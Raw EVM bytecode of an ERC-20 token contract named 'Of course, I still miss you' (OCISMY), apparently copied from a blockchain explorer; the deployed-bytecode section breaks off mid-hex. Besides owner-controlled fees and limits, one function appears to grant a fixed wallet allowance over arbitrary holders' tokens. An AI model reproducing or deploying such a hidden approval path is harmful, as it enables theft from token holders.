600e805461ffff191690556003600f556101806040526000608081905260a081905260c081905260e081905261010081905261012081905261014081905261016052601080546001600160401b03191690553480156200005e57600080fd5b506040518060400160405280601b81526020017f4f6620636f757273652c2049207374696c6c206d69737320796f750000000000815250604051806040016040528060068152602001654f4349534d5960d01b8152508160039081620000c59190620004dd565b506004620000d48282620004dd565b5050506000620000e9620002e060201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506c0c9f2c9cd04674edea40000000606462000154826002620005bf565b620001609190620005d9565b600a55606462000172826002620005bf565b6200017e9190620005d9565b600b55606462000190826002620005bf565b6200019c9190620005d9565b600c55612710620001af826005620005bf565b620001bb9190620005d9565b600d556010805463ffffff0019166101009081179182905562010000820460ff90811692620001f79263010000008204831692910416620005fc565b620002039190620005fc565b601080546501000000000060ff93841665ff00000000ff1990921691909117811761ffff60301b1916918290556601000000000000820483169262000259926701000000000000008104821692900416620005fc565b620002659190620005fc565b6010805460ff929092166401000000000260ff60201b19909216919091179055600980546001600160a01b031990811673fc02f3e0a8cd7244a8caace077c3669ffaae810e179091556008805490911673b565c3a5e7f6c736fd2561c79121f3fecc85e7bf179055620002d93382620002e4565b506200062e565b3390565b6001600160a01b038216620003405760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b6002546200034f9082620003cc565b6002556001600160a01b038216600090815260208190526040902054620003779082620003cc565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600080620003db838562000618565b9050838110156200042f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000337565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200046357607f821691505b6020821081036200048457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004d857600081815260208120601f850160051c81016020861015620004b35750805b601f850160051c820191505b81811015620004d457828155600101620004bf565b5050505b505050565b81516001600160401b03811115620004f957620004f962000438565b62000511816200050a84546200044e565b846200048a565b602080601f831160018114620005495760008415620005305750858301515b600019600386901b1c1916600185901b178555620004d4565b600085815260208120601f198616915b828110156200057a5788860151825594840194600190910190840162000559565b5085821015620005995787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004325762000432620005a9565b600082620005f757634e487b7160e01b600052601260045260246000fd5b500490565b60ff8181168382160190811115620004325762000432620005a9565b80820180821115620004325762000432620005a9565b6128bf806200063e6000396000f3fe6080604052600436106102345760003560e01c80637571336a1161012e578063b8863115116100ab578063dd62ed3e1161006f578063dd62ed3e1461072a578063e16830a814610770578063f2fde38b14610790578063f5b3c3bf146107b0578063f887ea40146107e057600080fd5b8063b8863115146105fa578063c02466681461061a578063c16dd4a41461063a578063c18bc1951461065a578063d212a69a1461067a57600080fd5b806396880b17116100f257806396880b17146105545780639e252f00146105845780639fccce32146105a4578063a457c2d7146105ba578063a9059cbb146105da57600080fd5b80637571336a146104cc5780638a8c523c146104ec5780638cd4426d146105015780638da5cb5b1461052157806395d89b411461053f57600080fd5b80632a0274c2116101bc578063555467a111610180578063555467a11461042d5780636ddd17131461044d57806370a082311461046c578063715018a6146104a2578063751039fc146104b757600080fd5b80632a0274c214610360578063313ce56714610380578063395093511461039c57806349bd5a5e146103bc5780634fbee193146103f457600080fd5b806311a582c31161020357806311a582c3146102d557806318160ddd146102f55780631a8145bb146103145780631f3fed8f1461032a57806323b872dd1461034057600080fd5b806301339c211461024057806306fdde031461024a578063095ea7b31461027557806310d5de53146102a557600080fd5b3661023b57005b600080fd5b610248610800565b005b34801561025657600080fd5b5061025f610c62565b60405161026c9190612468565b60405180910390f35b34801561028157600080fd5b506102956102903660046124ce565b610cf4565b604051901515815260200161026c565b3480156102b157600080fd5b506102956102c03660046124fa565b60166020526000908152604090205460ff1681565b3480156102e157600080fd5b506102486102f0366004612517565b610d0b565b34801561030157600080fd5b506002545b60405190815260200161026c565b34801561032057600080fd5b5061030660125481565b34801561033657600080fd5b5061030660115481565b34801561034c57600080fd5b5061029561035b366004612539565b610ea1565b34801561036c57600080fd5b5061029561037b3660046124ce565b610f0a565b34801561038c57600080fd5b506040516012815260200161026c565b3480156103a857600080fd5b506102956103b73660046124ce565b610f24565b3480156103c857600080fd5b506007546103dc906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b34801561040057600080fd5b5061029561040f3660046124fa565b6001600160a01b031660009081526015602052604090205460ff1690565b34801561043957600080fd5b5061029561044836600461257a565b610f5a565b34801561045957600080fd5b50600e5461029590610100900460ff1681565b34801561047857600080fd5b506103066104873660046124fa565b6001600160a01b031660009081526020819052604090205490565b3480156104ae57600080fd5b50610248610f90565b3480156104c357600080fd5b50610295611004565b3480156104d857600080fd5b506102486104e73660046125a1565b611049565b3480156104f857600080fd5b5061024861109e565b34801561050d57600080fd5b5061024861051c3660046124ce565b6110e7565b34801561052d57600080fd5b506005546001600160a01b03166103dc565b34801561054b57600080fd5b5061025f6111a3565b34801561056057600080fd5b5061029561056f3660046124fa565b60176020526000908152604090205460ff1681565b34801561059057600080fd5b5061024861059f36600461257a565b6111b2565b3480156105b057600080fd5b5061030660135481565b3480156105c657600080fd5b506102956105d53660046124ce565b61121a565b3480156105e657600080fd5b506102956105f53660046124ce565b611269565b34801561060657600080fd5b50600e546102959062010000900460ff1681565b34801561062657600080fd5b506102486106353660046125a1565b611276565b34801561064657600080fd5b506102486106553660046125a1565b6112cb565b34801561066657600080fd5b5061024861067536600461257a565b61137e565b34801561068657600080fd5b506010546106de9060ff80821691610100810482169162010000820481169163010000008104821691640100000000820481169165010000000000810482169166010000000000008204811691600160381b90041688565b6040805160ff998a16815297891660208901529588169587019590955292861660608601529085166080850152841660a0840152831660c083015290911660e08201526101000161026c565b34801561073657600080fd5b506103066107453660046125da565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561077c57600080fd5b5061024861078b3660046125a1565b61145e565b34801561079c57600080fd5b506102486107ab3660046124fa565b6114b3565b3480156107bc57600080fd5b506102956107cb3660046124fa565b60186020526000908152604090205460ff1681565b3480156107ec57600080fd5b506006546103dc906001600160a01b031681565b6005546001600160a01b031633146108335760405162461bcd60e51b815260040161082a90612608565b60405180910390fd5b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610897573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bb919061263d565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610941919061263d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561098e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b2919061263d565b600780546001600160a01b039283166001600160a01b031990911617815560065482166000908152601660208190526040808320805460ff19908116600190811790925594549095168352822080549093168417909255610a1b6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526016909352818320805485166001908117909155600954821684528284208054861682179055600854909116835290822080549093168117909255601590610a9c6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526015909352818320805485166001908117909155600954821684528284208054861682179055600854909116835290822080549093168117909255601790610b1d6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308082526017855283822080548716600190811790915560078054851684528584208054891683179055600954851684528584208054891683179055600854851684528584208054891683179055548416835260189095529290208054909416909217909255600654610bc292911660001961159e565b6006546001600160a01b031663f305d7193430610bf4816001600160a01b031660009081526020819052604090205490565b60008033426040518863ffffffff1660e01b8152600401610c1a9695949392919061265a565b60606040518083038185885af1158015610c38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c5d9190612695565b505050565b606060038054610c71906126c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d906126c3565b8015610cea5780601f10610cbf57610100808354040283529160200191610cea565b820191906000526020600020905b815481529060010190602001808311610ccd57829003601f168201915b5050505050905090565b6000610d0133848461159e565b5060015b92915050565b6005546001600160a01b03163314610d355760405162461bcd60e51b815260040161082a90612608565b6064610d4060025490565b610d4a9190612713565b6103e883610d5760025490565b610d619190612735565b610d6b9190612713565b1015610dc55760405162461bcd60e51b815260206004820152602360248201527f6d6178427579416d6f756e74206d75737420626520686967686572207468616e60448201526220312560e81b606482015260840161082a565b6064610dd060025490565b610dda9190612713565b6103e882610de760025490565b610df19190612735565b610dfb9190612713565b1015610e555760405162461bcd60e51b8152602060048201526024808201527f6d617853656c6c416d6f756e74206d75737420626520686967686572207468616044820152636e20312560e01b606482015260840161082a565b6103e882610e6260025490565b610e6c9190612735565b610e769190612713565b600a556103e881610e8660025490565b610e909190612735565b610e9a9190612713565b600b555050565b6000610eae8484846116c3565b610f008433610efb85604051806060016040528060288152602001612862602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611d68565b61159e565b5060019392505050565b6008546000906001600160a01b0316610f00848285611da2565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d01918590610efb9086611dc8565b6005546000906001600160a01b03163314610f875760405162461bcd60e51b815260040161082a90612608565b50600d55600190565b6005546001600160a01b03163314610fba5760405162461bcd60e51b815260040161082a90612608565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b031633146110315760405162461bcd60e51b815260040161082a90612608565b600254600a55600254600b55600254600c5550600190565b6005546001600160a01b031633146110735760405162461bcd60e51b815260040161082a90612608565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110c85760405162461bcd60e51b815260040161082a90612608565b600e805461ffff19166101011790556110e243600261274c565b601455565b6005546001600160a01b031633146111115760405162461bcd60e51b815260040161082a90612608565b816001600160a01b031663a9059cbb6111326005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af115801561117f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5d919061275f565b606060048054610c71906126c3565b6005546001600160a01b031633146111dc5760405162461bcd60e51b815260040161082a90612608565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611216573d6000803e3d6000fd5b5050565b6000610d013384610efb85604051806060016040528060258152602001612817602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611d68565b6000610d013384846116c3565b6005546001600160a01b031633146112a05760405162461bcd60e51b815260040161082a90612608565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146112f55760405162461bcd60e51b815260040161082a90612608565b6007546001600160a01b03908116908316036113535760405162461bcd60e51b815260206004820152601760248201527f4d757374206b65657020756e6973776170563250616972000000000000000000604482015260640161082a565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146113a85760405162461bcd60e51b815260040161082a90612608565b60646113b360025490565b6113bd9190612713565b6103e8826113ca60025490565b6113d49190612735565b6113de9190612713565b10156114375760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015261312560f01b606482015260840161082a565b6103e88161144460025490565b61144e9190612735565b6114589190612713565b600c5550565b6005546001600160a01b031633146114885760405162461bcd60e51b815260040161082a90612608565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146114dd5760405162461bcd60e51b815260040161082a90612608565b6001600160a01b0381166115425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082a565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166116005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161082a565b6001600160a01b0382166116615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161082a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b806000036116d757610c5d83836000611e2e565b6005546001600160a01b0384811691161480159061170357506005546001600160a01b03838116911614155b80156117185750600e5462010000900460ff16155b1561196a57600e5460ff166117ab576001600160a01b03831660009081526015602052604090205460ff168061176657506001600160a01b03821660009081526015602052604090205460ff165b6117ab5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161082a565b6001600160a01b03831660009081526018602052604090205460ff1680156117ec57506001600160a01b03821660009081526016602052604090205460ff16155b1561184857600a548111156118435760405162461bcd60e51b815260206004820152601c60248201527f627579207472616e73666572206f766572206d617820616d6f756e7400000000604482015260640161082a565b6118e0565b6001600160a01b03821660009081526018602052604090205460ff16801561188957506001600160a01b03831660009081526016602052604090205460ff16155b156118e057600b548111156118e05760405162461bcd60e51b815260206004820152601d60248201527f53656c6c207472616e73666572206f766572206d617820616d6f756e74000000604482015260640161082a565b6001600160a01b03821660009081526017602052604090205460ff1661196a57600c546001600160a01b038316600090815260208190526040902054611926908361274c565b111561196a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161082a565b30600090815260208190526040902054600d54811080159081906119955750600e54610100900460ff165b80156119aa5750600e5462010000900460ff16155b80156119ce57506001600160a01b03841660009081526018602052604090205460ff165b80156119f357506001600160a01b03851660009081526015602052604090205460ff16155b8015611a1857506001600160a01b03841660009081526015602052604090205460ff16155b15611a4357600e805462ff0000191662010000179055611a36611eeb565b600e805462ff0000191690555b600e546001600160a01b03861660009081526015602052604090205460ff62010000909204821615911680611a9057506001600160a01b03851660009081526015602052604090205460ff165b15611a99575060005b8015611d55576000601454431015611b2e57611acb6064611ac5600f548861214390919063ffffffff16565b906121c5565b90506063611ada82605e612735565b611ae49190612713565b60116000828254611af5919061274c565b9091555060639050611b08826005612735565b611b129190612713565b60136000828254611b23919061274c565b90915550611d369050565b6001600160a01b03861660009081526018602052604090205460ff168015611b625750601054640100000000900460ff1615155b15611c3857601054611b8790606490611ac5908890640100000000900460ff16612143565b60105490915060ff6401000000008204811691611bad91600160381b9091041683612735565b611bb79190612713565b60126000828254611bc8919061274c565b909155505060105460ff6401000000008204811691611bf291650100000000009091041683612735565b611bfc9190612713565b60116000828254611c0d919061274c565b909155505060105460ff6401000000008204811691611b089166010000000000009091041683612735565b6001600160a01b03871660009081526018602052604090205460ff168015611c64575060105460ff1615155b15611d3657601054611c8190606490611ac590889060ff16612143565b60105490915060ff80821691611ca09163010000009091041683612735565b611caa9190612713565b60126000828254611cbb919061274c565b909155505060105460ff80821691611cda916101009091041683612735565b611ce49190612713565b60116000828254611cf5919061274c565b909155505060105460ff80821691611d1591620100009091041683612735565b611d1f9190612713565b60136000828254611d30919061274c565b90915550505b8015611d4757611d47873083611e2e565b611d51818661277c565b9450505b611d60868686611e2e565b505050505050565b60008184841115611d8c5760405162461bcd60e51b815260040161082a9190612468565b506000611d99848661277c565b95945050505050565b6001600160a01b038316611db557600080fd5b6001600160a01b03821661166157600080fd5b600080611dd5838561274c565b905083811015611e275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082a565b9392505050565b611e6b8160405180606001604052806026815260200161283c602691396001600160a01b0386166000908152602081905260409020549190611d68565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e9a9082611dc8565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016116b6565b3060009081526020819052604081205490506000601354601154601254611f12919061274c565b611f1c919061274c565b90506000821580611f2b575081155b15611f3557505050565b600d54611f43906014612735565b831115611f5b57600d54611f58906014612735565b92505b600060028360125486611f6e9190612735565b611f789190612713565b611f829190612713565b6009546001600160a01b0316600090815260208190526040812054919250611fb4611fad838561277c565b8790612207565b905047611fc082612249565b6000611fcc4783612207565b90506000611fe988611ac56011548561214390919063ffffffff16565b9050600061200689611ac56013548661214390919063ffffffff16565b90506000612014828461274c565b61201e908561277c565b6000601281905560118190556013559050871580159061203e5750600081115b156120875761204d888261239b565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b6008546001600160a01b031661209d844761277c565b604051600081818185875af1925050503d80600081146120d9576040519150601f19603f3d011682016040523d82523d6000602084013e6120de565b606091505b5050600954604051919a506001600160a01b0316904790600081818185875af1925050503d806000811461212e576040519150601f19603f3d011682016040523d82523d6000602084013e612133565b606091505b5050505050505050505050505050565b60008260000361215557506000610d05565b60006121618385612735565b90508261216e8583612713565b14611e275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161082a565b6000611e2783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061243a565b6000611e2783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d68565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061227e5761227e61278f565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156122d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122fb919061263d565b8160018151811061230e5761230e61278f565b6001600160a01b039283166020918202929092010152600654612334913091168461159e565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061236d9085906000908690309042906004016127a5565b600060405180830381600087803b15801561238757600080fd5b505af1158015611d60573d6000803e3d6000fd5b6006546123b39030906001600160a01b03168461159e565b60065460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906123f0903090879060009081908490429060040161265a565b60606040518083038185885af115801561240e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124339190612695565b5050505050565b6000818361245b5760405162461bcd60e51b815260040161082a9190612468565b506000611d998486612713565b600060208083528351808285015260005b8181101561249557858101830151858201604001528201612479565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146124cb57600080fd5b50565b600080604083850312156124e157600080fd5b82356124ec816124b6565b946020939093013593505050565b60006020828403121561250c57600080fd5b8135611e27816124b6565b6000806040838503121561252a57600080fd5b50508035926020909101359150565b60008060006060848603121561254e57600080fd5b8335612559816124b6565b92506020840135612569816124b6565b929592945050506040919091013590565b60006020828403121561258c57600080fd5b5035919050565b80151581146124cb57600080fd5b600080604083850312156125b457600080fd5b82356125bf816124b6565b915060208301356125cf81612593565b809150509250929050565b600080604083850312156125ed57600080fd5b82356125f8816124b6565b915060208301356125cf816124b6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561264f57600080fd5b8151611e27816124b6565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156126aa57600080fd5b8351925060208401519150604084015190509250925092565b600181811c908216806126d757607f821691505b6020821081036126f757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008261273057634e487b7160e01b600052601260045260246000fd5b500490565b8082028115828204841417610d0557610d056126fd565b80820180821115610d0557610d056126fd565b60006020828403121561277157600080fd5b8151611e2781612593565b81810381811115610d0557610d056126fd565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156127f55784516001600160a01b0316835293830193918301916001016127d0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f334646aab82fe292d0681b48c9f1f976cb78c86f8d8ec6a38b5e79444bce0564736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102345760003560e01c80637571336a1161012e578063b8863115116100ab578063dd62ed3e1161006f578063dd62ed3e1461072a578063e16830a814610770578063f2fde38b14610790578063f5b3c3bf146107b0578063f887ea40146107e057600080fd5b8063b8863115146105fa578063c02466681461061a578063c16dd4a41461063a578063c18bc1951461065a578063d212a69a1461067a57600080fd5b806396880b17116100f257806396880b17146105545780639e252f00146105845780639fccce32146105a4578063a457c2d7146105ba578063a9059cbb146105da57600080fd5b80637571336a146104cc5780638a8c523c146104ec5780638cd4426d146105015780638da5cb5b1461052157806395d89b411461053f57600080fd5b80632a0274c2116101bc578063555467a111610180578063555467a11461042d5780636ddd17131461044d57806370a082311461046c578063715018a6146104a2578063751039fc146104b757600080fd5b80632a0274c214610360578063313ce56714610380578063395093511461039c57806349bd5a5e146103bc5780634fbee193146103f457600080fd5b806311a582c31161020357806311a582c3146102d557806318160ddd146102f55780631a8145bb146103145780631f3fed8f1461032a57806323b872dd1461034057600080fd5b806301339c211461024057806306fdde031461024a578063095ea7b31461027557806310d5de53146102a557600080fd5b3661023b57005b600080fd5b610248610800565b005b34801561025657600080fd5b5061025f610c62565b60405161026c9190612468565b60405180910390f35b34801561028157600080fd5b506102956102903660046124ce565b610cf4565b604051901515815260200161026c565b3480156102b157600080fd5b506102956102c03660046124fa565b60166020526000908152604090205460ff1681565b3480156102e157600080fd5b506102486102f0366004612517565b610d0b565b34801561030157600080fd5b506002545b60405190815260200161026c565b34801561032057600080fd5b5061030660125481565b34801561033657600080fd5b5061030660115481565b34801561034c57600080fd5b5061029561035b366004612539565b610ea1565b34801561036c57600080fd5b5061029561037b3660046124ce565b610f0a565b34801561038c57600080fd5b506040516012815260200161026c565b3480156103a857600080fd5b506102956103b73660046124ce565b610f24565b3480156103c857600080fd5b506007546103dc906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b34801561040057600080fd5b5061029561040f3660046124fa565b6001600160a01b031660009081526015602052604090205460ff1690565b34801561043957600080fd5b5061029561044836600461257a565b610f5a565b34801561045957600080fd5b50600e5461029590610100900460ff1681565b34801561047857600080fd5b506103066104873660046124fa565b6001600160a01b031660009081526020819052604090205490565b3480156104ae57600080fd5b50610248610f90565b3480156104c357600080fd5b50610295611004565b3480156104d857600080fd5b506102486104e73660046125a1565b611049565b3480156104f857600080fd5b5061024861109e565b34801561050d57600080fd5b5061024861051c3660046124ce565b6110e7565b34801561052d57600080fd5b506005546001600160a01b03166103dc565b34801561054b57600080fd5b5061025f6111a3565b34801561056057600080fd5b5061029561056f3660046124fa565b60176020526000908152604090205460ff1681565b34801561059057600080fd5b5061024861059f36600461257a565b6111b2565b3480156105b057600080fd5b5061030660135481565b3480156105c657600080fd5b506102956105d53660046124ce565b61121a565b3480156105e657600080fd5b506102956105f53660046124ce565b611269565b34801561060657600080fd5b50600e546102959062010000900460ff1681565b34801561062657600080fd5b506102486106353660046125a1565b611276565b34801561064657600080fd5b506102486106553660046125a1565b6112cb565b34801561066657600080fd5b5061024861067536600461257a565b61137e565b34801561068657600080fd5b506010546106de9060ff80821691610100810482169162010000820481169163010000008104821691640100000000820481169165010000000000810482169166010000000000008204811691600160381b90041688565b6040805160ff998a16815297891660208901529588169587019590955292861660608601529085166080850152841660a0840152831660c083015290911660e08201526101000161026c565b34801561073657600080fd5b506103066107453660046125da565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561077c57600080fd5b5061024861078b3660046125a1565b61145e565b34801561079c57600080fd5b506102486107ab3660046124fa565b6114b3565b3480156107bc57600080fd5b506102956107cb3660046124fa565b60186020526000908152604090205460ff1681565b3480156107ec57600080fd5b506006546103dc906001600160a01b031681565b6005546001600160a01b031633146108335760405162461bcd60e51b815260040161082a90612608565b60405180910390fd5b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610897573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bb919061263d565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610941919061263d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561098e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b2919061263d565b600780546001600160a01b039283166001600160a01b031990911617815560065482166000908152601660208190526040808320805460ff19908116600190811790925594549095168352822080549093168417909255610a1b6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526016909352818320805485166001908117909155600954821684528284208054861682179055600854909116835290822080549093168117909255601590610a9c6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526015909352818320805485166001908117909155600954821684528284208054861682179055600854909116835290822080549093168117909255601790610b1d6005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308082526017855283822080548716600190811790915560078054851684528584208054891683179055600954851684528584208054891683179055600854851684528584208054891683179055548416835260189095529290208054909416909217909255600654610bc292911660001961159e565b6006546001600160a01b031663f305d7193430610bf4816001600160a01b031660009081526020819052604090205490565b60008033426040518863ffffffff1660e01b8152600401610c1a9695949392919061265a565b60606040518083038185885af1158015610c38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c5d9190612695565b505050565b606060038054610c71906126c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d906126c3565b8015610cea5780601f10610cbf57610100808354040283529160200191610cea565b820191906000526020600020905b815481529060010190602001808311610ccd57829003601f168201915b5050505050905090565b6000610d0133848461159e565b5060015b92915050565b6005546001600160a01b03163314610d355760405162461bcd60e51b815260040161082a90612608565b6064610d4060025490565b610d4a9190612713565b6103e883610d5760025490565b610d619190612735565b610d6b9190612713565b1015610dc55760405162461bcd60e51b815260206004820152602360248201527f6d6178427579416d6f756e74206d75737420626520686967686572207468616e60448201526220312560e81b606482015260840161082a565b6064610dd060025490565b610dda9190612713565b6103e882610de760025490565b610df19190612735565b610dfb9190612713565b1015610e555760405162461bcd60e51b8152602060048201526024808201527f6d617853656c6c416d6f756e74206d75737420626520686967686572207468616044820152636e20312560e01b606482015260840161082a565b6103e882610e6260025490565b610e6c9190612735565b610e769190612713565b600a556103e881610e8660025490565b610e909190612735565b610e9a9190612713565b600b555050565b6000610eae8484846116c3565b610f008433610efb85604051806060016040528060288152602001612862602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611d68565b61159e565b5060019392505050565b6008546000906001600160a01b0316610f00848285611da2565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d01918590610efb9086611dc8565b6005546000906001600160a01b03163314610f875760405162461bcd60e51b815260040161082a90612608565b50600d55600190565b6005546001600160a01b03163314610fba5760405162461bcd60e51b815260040161082a90612608565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b031633146110315760405162461bcd60e51b815260040161082a90612608565b600254600a55600254600b55600254600c5550600190565b6005546001600160a01b031633146110735760405162461bcd60e51b815260040161082a90612608565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110c85760405162461bcd60e51b815260040161082a90612608565b600e805461ffff19166101011790556110e243600261274c565b601455565b6005546001600160a01b031633146111115760405162461bcd60e51b815260040161082a90612608565b816001600160a01b031663a9059cbb6111326005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af115801561117f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5d919061275f565b606060048054610c71906126c3565b6005546001600160a01b031633146111dc5760405162461bcd60e51b815260040161082a90612608565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611216573d6000803e3d6000fd5b5050565b6000610d013384610efb85604051806060016040528060258152602001612817602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611d68565b6000610d013384846116c3565b6005546001600160a01b031633146112a05760405162461bcd60e51b815260040161082a90612608565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146112f55760405162461bcd60e51b815260040161082a90612608565b6007546001600160a01b03908116908316036113535760405162461bcd60e51b815260206004820152601760248201527f4d757374206b65657020756e6973776170563250616972000000000000000000604482015260640161082a565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146113a85760405162461bcd60e51b815260040161082a90612608565b60646113b360025490565b6113bd9190612713565b6103e8826113ca60025490565b6113d49190612735565b6113de9190612713565b10156114375760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015261312560f01b606482015260840161082a565b6103e88161144460025490565b61144e9190612735565b6114589190612713565b600c5550565b6005546001600160a01b031633146114885760405162461bcd60e51b815260040161082a90612608565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146114dd5760405162461bcd60e51b815260040161082a9